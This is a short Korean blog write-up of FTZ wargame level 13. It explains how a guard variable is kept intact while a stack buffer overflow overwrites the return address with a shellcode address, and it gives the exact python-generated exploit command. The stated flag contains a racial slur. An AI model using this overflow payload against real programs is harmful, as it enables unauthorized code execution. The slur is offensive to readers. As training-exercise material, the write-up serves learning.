힌트를 까서 소스코드를 보면 기존의 11번,12번과는 달리 i라는 것이 새로 생기고

i가 0x1234567이 아닐시 Warnning: Buffer Overflow!!! 를 출력하며 kill로 sigsegv을 전달한다.

따라서 i에는 0x1234567을 넣어줘야한다.

gdb로 까보니 1048바이트이다. 그냥 모든 버퍼를 0x1234567로 채워버리고, 뒤에 쉘코드 주소를 넣어주면 된다.

| buf(1024) | dummy(12) | i(4) | dummy(8) | ebp(4) | ret(4) | 

이러한 스택구조를 이루고 있으므로 

4 * 262 = 1048

./attackme `python -c 'print [buf]*262+[ebp(A)]*4+ret'`

이러한 형식이고,

./attackme `python -c 'print "\x67\x45\x23\x01"*263+"\xf4\xfb\xff\xbf"'`

이렇게 짤 수 있다.

Flag : what that nigga want?

'IT > FTZ' 카테고리의 다른 글

[FTZ] level15  (0) 2016.07.10
[FTZ] level14  (0) 2016.07.10
[FTZ] level12  (0) 2016.07.10
[FTZ] level11  (0) 2016.07.10
[FTZ] level10  (0) 2016.07.10

+ Recent posts